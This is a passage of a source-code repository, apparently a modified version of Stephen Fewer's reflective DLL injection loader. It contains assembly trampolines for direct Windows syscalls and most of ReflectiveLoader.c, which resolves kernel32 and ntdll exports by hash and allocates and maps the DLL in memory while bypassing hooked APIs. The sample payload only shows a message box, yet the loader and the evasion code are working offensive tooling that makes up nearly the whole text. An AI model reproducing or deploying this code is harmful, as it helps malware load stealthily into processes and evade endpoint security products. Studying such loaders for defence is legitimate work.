dwOSMinorVersion; 177 | WORD wOSBuildNumber; 178 | WORD wOSCSDVersion; 179 | DWORD dwOSPlatformId; 180 | DWORD dwImageSubsystem; 181 | DWORD dwImageSubsystemMajorVersion; 182 | DWORD dwImageSubsystemMinorVersion; 183 | DWORD dwImageProcessAffinityMask; 184 | DWORD dwGdiHandleBuffer[34]; 185 | LPVOID lpPostProcessInitRoutine; 186 | LPVOID lpTlsExpansionBitmap; 187 | DWORD dwTlsExpansionBitmapBits[32]; 188 | DWORD dwSessionId; 189 | ULARGE_INTEGER liAppCompatFlags; 190 | ULARGE_INTEGER liAppCompatFlagsUser; 191 | LPVOID lppShimData; 192 | LPVOID lpAppCompatInfo; 193 | UNICODE_STR usCSDVersion; 194 | LPVOID lpActivationContextData; 195 | LPVOID lpProcessAssemblyStorageMap; 196 | LPVOID lpSystemDefaultActivationContextData; 197 | LPVOID lpSystemAssemblyStorageMap; 198 | DWORD dwMinimumStackCommit; 199 | } _PEB, * _PPEB; 200 | 201 | //===============================================================================================// 202 | 203 | BOOL getSyscalls(PVOID pNtdllBase, Syscall* Syscalls[], DWORD dwNumberOfSyscalls); 204 | extern NTSTATUS DoSyscall(VOID); 205 | 206 | // 207 | // Native API functions 208 | // 209 | NTSTATUS rdiNtAllocateVirtualMemory(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, ULONG_PTR pZeroBits, PSIZE_T pRegionSize, ULONG ulAllocationType, ULONG ulProtect); 210 | NTSTATUS rdiNtProtectVirtualMemory(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, PSIZE_T pNumberOfBytesToProtect, ULONG ulNewAccessProtection, PULONG ulOldAccessProtection); 211 | NTSTATUS rdiNtFlushInstructionCache(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, SIZE_T FlushSize); 212 | NTSTATUS rdiNtLockVirtualMemory(Syscall* pSyscall, HANDLE hProcess, PVOID* pBaseAddress, PSIZE_T NumberOfBytesToLock, ULONG MapType); 213 | -------------------------------------------------------------------------------- /dll/src/GateTrampoline32.asm: -------------------------------------------------------------------------------- 1 | .686P 2 | .model flat, C 3 | 4 | .code 5 | 6 | OPTION LANGUAGE: C 7 | DoSyscall PROC 8 | 9 | mov eax, [esp+0Ch] ; get the pointer to Syscall 10 | mov eax, [eax+4] ; get the number of arguments 11 | lea eax, [4*eax] ; calculate the number of bytes needed to store the arguments 12 | sub esp, eax ; make room on the stack for the arguments 13 | 14 | push edi ; store edi on stack to be able to restore it later 15 | push ebx ; store ebx on stack to be able to restore it later 16 | push ecx ; store ecx on stack to be able to restore it later 17 | 18 | mov edi, [esp+0Ch+eax] ; save the return address 19 | mov ebx, [esp+18h+eax] ; get the pointer to the Syscall structure 20 | mov ecx, [ebx+4] ; get the number of arguments (.dwNumberOfArgs) 21 | 22 | mov [esp+0Ch], edi ; place the return address on the stack 23 | 24 | test ecx, ecx ; check if we have arguments 25 | jz _end ; we don't, jump directly to _end 26 | xor eax, eax ; zero out eax, this will be the index 27 | lea edi, [esp+0Ch+4*ecx] ; set the base pointer that will be used in loop 28 | 29 | _loop: 30 | mov edx, [edi+10h+4*eax] ; get the argument 31 | mov [esp+10h+4*eax], edx ; store it to the correct location 32 | inc eax ; increment the index 33 | cmp eax, ecx ; check if we have more arguments to process 34 | jl _loop ; loop back to process the next argument 35 | 36 | _end: 37 | mov eax, ebx ; save the pointer to the Syscall structure to eax 38 | 39 | pop ecx ; restore ecx 40 | pop ebx ; restore ebx 41 | pop edi ; restore edi 42 | 43 | push [eax+0Ch] ; push the syscall stub on the stack 44 | mov eax, [eax+8] ; store the syscall number to eax 45 | ret ; return to the stub 46 | 47 | DoSyscall ENDP 48 | 49 | end 50 | -------------------------------------------------------------------------------- /dll/src/GateTrampoline32.s: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | 3 | .global _DoSyscall 4 | 5 | .text 6 | _DoSyscall: 7 | 8 | mov eax, [esp+0x14] # get the pointer to Syscall 9 | mov eax, [eax+4] # get the number of arguments 10 | lea eax, [4*eax] # calculate the number of bytes needed to store the arguments 11 | sub esp, eax # make room on the stack for the arguments 12 | 13 | push edi # store edi on stack to be able to restore it later 14 | push ebx # store ebx on stack to be able to restore it later 15 | push ecx # store ecx on stack to be able to restore it later 16 | 17 | mov edi, [esp+0x0C+eax] # save the return address 18 | mov ebx, [esp+0x20+eax] # get the pointer to the Syscall structure 19 | mov ecx, [ebx+4] # get the number of arguments (.dwNumberOfArgs) 20 | 21 | mov [esp+0x0C], edi # place the return address on the stack 22 | 23 | test ecx, ecx # check if we have arguments 24 | jz _end # we don't, jump directly to _end 25 | xor eax, eax # zero out eax, this will be the index 26 | lea edi, [esp+0x0C+4*ecx] # set the base pointer that will be used in loop 27 | 28 | _loop: 29 | mov edx, [edi+0x18+4*eax] # get the argument 30 | mov [esp+0x10+4*eax], edx # store it to the correct location 31 | inc eax # increment the index 32 | cmp eax, ecx # check if we have more arguments to process 33 | jl _loop # loop back to process the next argument 34 | 35 | _end: 36 | mov eax, ebx # save the pointer to the Syscall structure to eax 37 | 38 | pop ecx # restore ecx 39 | pop ebx # restore ebx 40 | pop edi # restore edi 41 | 42 | push [eax+0x0C] # push the syscall stub on the stack 43 | mov eax, [eax+8] # store the syscall number to eax 44 | ret # return to the stub 45 | 46 | -------------------------------------------------------------------------------- /dll/src/GateTrampoline64.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | DoSyscall Proc 4 | 5 | push r11 ; store r11 on stack to be able to restore it later 6 | push r12 ; store r12 on stack to be able to restore it later 7 | push r13 ; store r13 on stack to be able to restore it later 8 | 9 | add rsp, 40h ; restore the stack pointer to the previous stack frame 10 | mov r11, [rsp+10h] ; get the pointer to the Syscall structure that has been stored in the shadow space 11 | 12 | mov r10, [r11+10h] ; store the syscall stub in r10. Note that the `.pStub` field is padded with 4 null bytes on x64. 13 | mov [rsp], r10 ; place the stub address on the stack, which will be used as return address 14 | 15 | mov rcx, rdx ; Arg1 is the pointer to the Syscall structure and we don't need it. 16 | mov rdx, r8 ; We need to shift all the arguments to have the correct arguments for the syscall. 17 | mov r8, r9 ; This meens, rdx move to rcx, r8 to rdx, r9 to r8 and first argument on the stack 18 | mov r9, [rsp+30h] ; to r9. 19 | 20 | ; Now, if the syscall needs more than 4 arguments, we need to deal with arguments stored on the stack 21 | xor r12, r12 22 | mov r12d, dword ptr [r11+4] ; store the number of arguments in r12, which will be our counter 23 | cmp r12, 4 ; we already processed 4 arguments, so, check if we have more 24 | jle _end ; we have less than 4 arguments, jump directly to _end 25 | sub r12, 4 ; adjust the argument counter 26 | xor r13, r13 ; zero out r13, this will be the index 27 | 28 | _loop: 29 | mov r10, [rsp+38h+8*r13] ; get the argument 30 | mov [rsp+30h+8*r13], r10 ; store it to the correct location 31 | inc r13 ; increment the index 32 | cmp r13, r12 ; check if we have more arguments to process 33 | jl _loop ; loop back to process the next argument 34 | 35 | _end: 36 | mov r10, rcx ; store the first argument to r10, like the original syscall do 37 | xor rax, rax ; zero out rax 38 | mov eax, dword ptr [r11+8] ; store the syscall number to eax 39 | 40 | mov r13, [rsp-40h] ; restore r13 41 | mov r12, [rsp-38h] ; restore r12 42 | mov r11, [rsp-30h] ; restore r11 43 | ret ; return to the stub 44 | 45 | DoSyscall ENDP 46 | 47 | end 48 | -------------------------------------------------------------------------------- /dll/src/GateTrampoline64.s: -------------------------------------------------------------------------------- 1 | .intel_syntax noprefix 2 | 3 | .global DoSyscall 4 | 5 | .text 6 | DoSyscall: 7 | 8 | push r11 # store r11 on stack to be able to restore it later 9 | push r12 # store r12 on stack to be able to restore it later 10 | push r13 # store r13 on stack to be able to restore it later 11 | 12 | add rsp, 0x40 # restore the stack pointer to the previous stack frame 13 | mov r11, [rsp+0x10] # get the pointer to the Syscall structure that has been stored in the shadow space 14 | 15 | mov r10, [r11+0x10] # store the syscall stub in r10. Note that the `.pStub` field is padded with 4 null bytes on x64. 16 | mov [rsp], r10 # place the stub address on the stack, which will be used as return address 17 | 18 | mov rcx, rdx # Arg1 is the pointer to the Syscall structure and we don't need it. 19 | mov rdx, r8 # We need to shift all the arguments to have the correct arguments for the syscall. 20 | mov r8, r9 # This meens, rdx move to rcx, r8 to rdx, r9 to r8 and first argument on the stack 21 | mov r9, [rsp+0x30] # to r9. 22 | 23 | # Now, if the syscall needs more than 4 arguments, we need to deal with arguments stored on the stack 24 | xor r12, r12 25 | mov r12d, dword ptr [r11+4] # store the number of arguments in r12, which will be our counter 26 | cmp r12, 4 # we already processed 4 arguments, so, check if we have more 27 | jle _end # we have less than 4 arguments, jump directly to _end 28 | sub r12, 4 # adjust the argument counter 29 | xor r13, r13 # zero out r13, this will be the index 30 | 31 | _loop: 32 | mov r10, [rsp+0x38+8*r13] # get the argument 33 | mov [rsp+0x30+8*r13], r10 # store it to the correct location 34 | inc r13 # increment the index 35 | cmp r13, r12 # check if we have more arguments to process 36 | jl _loop # loop back to process the next argument 37 | 38 | _end: 39 | mov r10, rcx # store the first argument to r10, like the original syscall do 40 | xor rax, rax # zero out rax 41 | mov eax, dword ptr [r11+8] # store the syscall number to eax 42 | 43 | mov r13, [rsp-0x40] # restore r13 44 | mov r12, [rsp-0x38] # restore r12 45 | mov r11, [rsp-0x30] # restore r11 46 | ret # return to the stub 47 | 48 | -------------------------------------------------------------------------------- /dll/src/ReflectiveDll.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // This is a stub for the actuall functionality of the DLL. 3 | //===============================================================================================// 4 | #include "ReflectiveLoader.h" 5 | 6 | // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are 7 | // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 8 | // DllMain and use the LoadRemoteLibraryR() API to inject this DLL. 9 | 10 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) 11 | extern HINSTANCE hAppInstance; 12 | //===============================================================================================// 13 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 14 | { 15 | BOOL bReturnValue = TRUE; 16 | switch( dwReason ) 17 | { 18 | case DLL_QUERY_HMODULE: 19 | if( lpReserved != NULL ) 20 | *(HMODULE *)lpReserved = hAppInstance; 21 | break; 22 | case DLL_PROCESS_ATTACH: 23 | hAppInstance = hinstDLL; 24 | MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); 25 | break; 26 | case DLL_PROCESS_DETACH: 27 | case DLL_THREAD_ATTACH: 28 | case DLL_THREAD_DETACH: 29 | break; 30 | } 31 | return bReturnValue; 32 | } -------------------------------------------------------------------------------- /dll/src/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | #include "DirectSyscall.c" 30 | //===============================================================================================// 31 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 32 | HINSTANCE hAppInstance = NULL; 33 | //===============================================================================================// 34 | #ifdef __MINGW32__ 35 | #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) 36 | #else 37 | #pragma intrinsic(_ReturnAddress) 38 | #define WIN_GET_CALLER() _ReturnAddress() 39 | #endif 40 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 41 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 42 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 43 | // available (and no inline asm available under x64). 44 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); } 45 | //===============================================================================================// 46 | 47 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 48 | // otherwise the DllMain at the end of this file will be used. 49 | 50 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 51 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 52 | 53 | #ifdef RDIDLL_NOEXPORT 54 | #define RDIDLLEXPORT 55 | #else 56 | #define RDIDLLEXPORT DLLEXPORT 57 | #endif 58 | 59 | // This is our position independent reflective DLL loader/injector 60 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 61 | RDIDLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 62 | #else 63 | RDIDLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 64 | #endif 65 | { 66 | // the functions we need 67 | LOADLIBRARYA pLoadLibraryA = NULL; 68 | GETPROCADDRESS pGetProcAddress = NULL; 69 | 70 | // the system calls our loader needs. This array of Syscall structures will be completed later. 71 | #ifdef ENABLE_STOPPAGING 72 | Syscall* Syscalls[4]; 73 | #else 74 | Syscall* Syscalls[3]; 75 | #endif 76 | Syscall ZwAllocateVirtualMemorySyscall = { ZWALLOCATEVIRTUALMEMORY_HASH, 6 }; 77 | Syscalls[0] = &ZwAllocateVirtualMemorySyscall; 78 | Syscall ZwProtectVirtualMemorySyscall = { ZWPROTECTVIRTUALMEMORY_HASH, 5 }; 79 | Syscalls[1] = &ZwProtectVirtualMemorySyscall; 80 | Syscall ZwFlushInstructionCacheSyscall = { ZWFLUSHINSTRUCTIONCACHE_HASH, 3 }; 81 | Syscalls[2] = &ZwFlushInstructionCacheSyscall; 82 | #ifdef ENABLE_STOPPAGING 83 | Syscall ZwLockVirtualMemorySyscall = { ZWLOCKVIRTUALMEMORY_HASH, 4 }; 84 | Syscalls[3] = &ZwLockVirtualMemorySyscall; 85 | #endif 86 | 87 | USHORT usCounter; 88 | 89 | // the initial location of this image in memory 90 | ULONG_PTR uiLibraryAddress; 91 | // the kernels base address and later this images newly loaded base address 92 | ULONG_PTR uiBaseAddress; 93 | // NTDLL base address to be used to get syscall numbers and trampolins 94 | PVOID pNtdllBase = NULL; 95 | 96 | // variables for processing the kernels export table 97 | ULONG_PTR uiAddressArray; 98 | ULONG_PTR uiNameArray; 99 | ULONG_PTR uiExportDir; 100 | ULONG_PTR uiNameOrdinals; 101 | DWORD dwHashValue; 102 | 103 | // variables for loading this image 104 | ULONG_PTR uiHeaderValue; 105 | ULONG_PTR uiValueA; 106 | ULONG_PTR uiValueB; 107 | ULONG_PTR uiValueC; 108 | ULONG_PTR uiValueD; 109 | ULONG_PTR uiValueE; 110 | DWORD dwProtect; 111 | 112 | 113 | // STEP 0: calculate our images current base address 114 | 115 | // we will start searching backwards from our callers return address. 116 | uiLibraryAddress = caller(); 117 | 118 | // loop through memory backwards searching for our images base address 119 | // we dont need SEH style search as we shouldnt generate any access violations with this 120 | while( TRUE ) 121 | { 122 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 123 | { 124 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 125 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 126 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 127 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 128 | { 129 | uiHeaderValue += uiLibraryAddress; 130 | // break if we have found a valid MZ/PE header 131 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 132 | break; 133 | } 134 | } 135 | uiLibraryAddress--; 136 | } 137 | 138 | 139 | // STEP 1: process kernel32 exports for the functions our loader needs and setup the direct syscalls functions 140 | 141 | // get the Process Enviroment Block 142 | #ifdef _WIN64 143 | uiBaseAddress = __readgsqword( 0x60 ); 144 | #else 145 | #ifdef WIN_ARM 146 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 147 | #else // _WIN32 148 | uiBaseAddress = __readfsdword( 0x30 ); 149 | #endif 150 | #endif 151 | 152 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 153 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 154 | 155 | // get the first entry of the InMemoryOrder module list 156 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 157 | while( uiValueA ) 158 | { 159 | // get pointer to current modules name (unicode string) 160 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 161 | // set bCounter to the length for the loop 162 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 163 | // clear uiValueC which will store the hash of the module name 164 | uiValueC = 0; 165 | 166 | // compute the hash of the module name... 167 | ULONG_PTR tmpValC = uiValueC; 168 | do 169 | { 170 | tmpValC = ror( (DWORD)tmpValC ); 171 | // normalize to uppercase if the module name is in lowercase 172 | if( *((BYTE *)uiValueB) >= 'a' ) 173 | tmpValC += *((BYTE *)uiValueB) - 0x20; 174 | else 175 | tmpValC += *((BYTE *)uiValueB); 176 | uiValueB++; 177 | } while( --usCounter ); 178 | uiValueC = tmpValC; 179 | 180 | // compare the hash with that of kernel32.dll 181 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 182 | { 183 | // get this modules base address 184 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 185 | 186 | // get the VA of the modules NT Header 187 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 188 | 189 | // uiNameArray = the address of the modules export directory entry 190 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 191 | 192 | // get the VA of the export directory 193 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 194 | 195 | // get the VA for the array of name pointers 196 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 197 | 198 | // get the VA for the array of name ordinals 199 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 200 | 201 | usCounter = 2; 202 | 203 | // loop while we still have imports to find 204 | while( usCounter > 0 ) 205 | { 206 | // compute the hash values for this function name 207 | dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 208 | 209 | // if we have found a function we want we get its virtual address 210 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH ) 211 | { 212 | // get the VA for the array of addresses 213 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 214 | 215 | // use this functions name ordinal as an index into the array of name pointers 216 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 217 | 218 | // store this functions VA 219 | if( dwHashValue == LOADLIBRARYA_HASH ) 220 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 221 | else if( dwHashValue == GETPROCADDRESS_HASH ) 222 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 223 | 224 | // decrement our counter 225 | usCounter--; 226 | } 227 | 228 | // get the next exported function name 229 | uiNameArray += sizeof(DWORD); 230 | 231 | // get the next exported function name ordinal 232 | uiNameOrdinals += sizeof(WORD); 233 | } 234 | } 235 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 236 | { 237 | // get this modules base address 238 | pNtdllBase = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 239 | } 240 | 241 | // we stop searching when we have found everything we need. 242 | if( pLoadLibraryA && pGetProcAddress ) 243 | break; 244 | 245 | // get the next entry 246 | uiValueA = DEREF( uiValueA ); 247 | } 248 | 249 | 250 | if (!getSyscalls(pNtdllBase, Syscalls, (sizeof(Syscalls) / sizeof(Syscalls[0])))) 251 | return 0; 252 | 253 | 254 | // STEP 2: load our image into a new permanent location in memory... 255 | 256 | // get the VA of the NT Header for the PE to be loaded 257 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 258 | 259 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 260 | // relocate the image. Also zeros all memory and marks it as READ and WRITE to avoid any problems. 261 | SIZE_T RegionSize = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage; 262 | uiBaseAddress = (ULONG_PTR) NULL; 263 | 264 | if (rdiNtAllocateVirtualMemory(&ZwAllocateVirtualMemorySyscall, (HANDLE)-1, (PVOID*)&uiBaseAddress, (ULONG_PTR)0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE) != 0) 265 | return 0; 266 | 267 | #ifdef ENABLE_STOPPAGING 268 | // prevent our image from being swapped to the pagefile 269 | // This fails on Windows Server 2012 with error 0xC00000A1 STATUS_WORKING_SET_QUOTA, but it doesn't seem to be an issue. 270 | rdiNtLockVirtualMemory(&ZwLockVirtualMemorySyscall, (HANDLE)-1, (PVOID*)&uiBaseAddress, &RegionSize, 1); // MapType 1 = MAP_PROCESS 271 | #endif 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | 282 | // STEP 3: load in all of our sections... 283 | 284 | // uiValueA = the VA of the first section 285 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 286 | 287 | // iterate through all sections, loading them into memory. 288 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 289 | while( uiValueE-- ) 290 | { 291 | // uiValueB is the VA for this section 292 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 293 | 294 | // uiValueC if the VA for this sections data 295 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 296 | 297 | // copy the section over 298 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 299 | 300 | 301 | while( uiValueD-- ) 302 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 303 | 304 | // get the VA of the next section 305 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 306 | } 307 | 308 | 309 | // STEP 4: process our images import table... 310 | 311 | // uiValueB = the address of the import directory 312 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 313 | 314 | // we assume there is an import table to process 315 | // uiValueC is the first entry in the import table 316 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 317 | 318 | // iterate through all imports until a null RVA is found (Characteristics is mis-named) 319 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ) 320 | { 321 | // use LoadLibraryA to load the imported module into memory 322 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 323 | 324 | if ( !uiLibraryAddress ) 325 | { 326 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 327 | continue; 328 | } 329 | 330 | // uiValueD = VA of the OriginalFirstThunk 331 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 332 | 333 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 334 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 335 | 336 | // itterate through all imported functions, importing by ordinal if no name present 337 | while( DEREF(uiValueA) ) 338 | { 339 | // sanity check uiValueD as some compilers only import by FirstThunk 340 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 341 | { 342 | // get the VA of the modules NT Header 343 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 344 | 345 | // uiNameArray = the address of the modules export directory entry 346 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 347 | 348 | // get the VA of the export directory 349 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 350 | 351 | // get the VA for the array of addresses 352 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 353 | 354 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 355 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 356 | 357 | // patch in the address for this imported function 358 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 359 | } 360 | else 361 | { 362 | // get the VA of this functions import by name struct 363 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 364 | 365 | // use GetProcAddress and patch in the address for this imported function 366 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 367 | } 368 | // get the next imported function 369 | uiValueA += sizeof( ULONG_PTR ); 370 | if( uiValueD ) 371 | uiValueD += sizeof( ULONG_PTR ); 372 | } 373 | 374 | // get the next import 375 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 376 | } 377 | 378 | 379 | // STEP 5: process all of our images relocations... 380 | 381 | // calculate the base address delta and perform relocations (even if we load at desired image base) 382 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 383 | 384 | // uiValueB = the address of the relocation directory 385 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 386 | 387 | // check if their are any relocations present 388 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 389 | { 390 | uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock; 391 | 392 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 393 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 394 | 395 | // and we itterate through all entries... 396 | while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 397 | { 398 | // uiValueA = the VA for this relocation block 399 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 400 | 401 | // uiValueB = number of entries in this relocation block 402 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 403 | 404 | // uiValueD is now the first entry in the current relocation block 405 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 406 | 407 | // we itterate through all the entries in the current block... 408 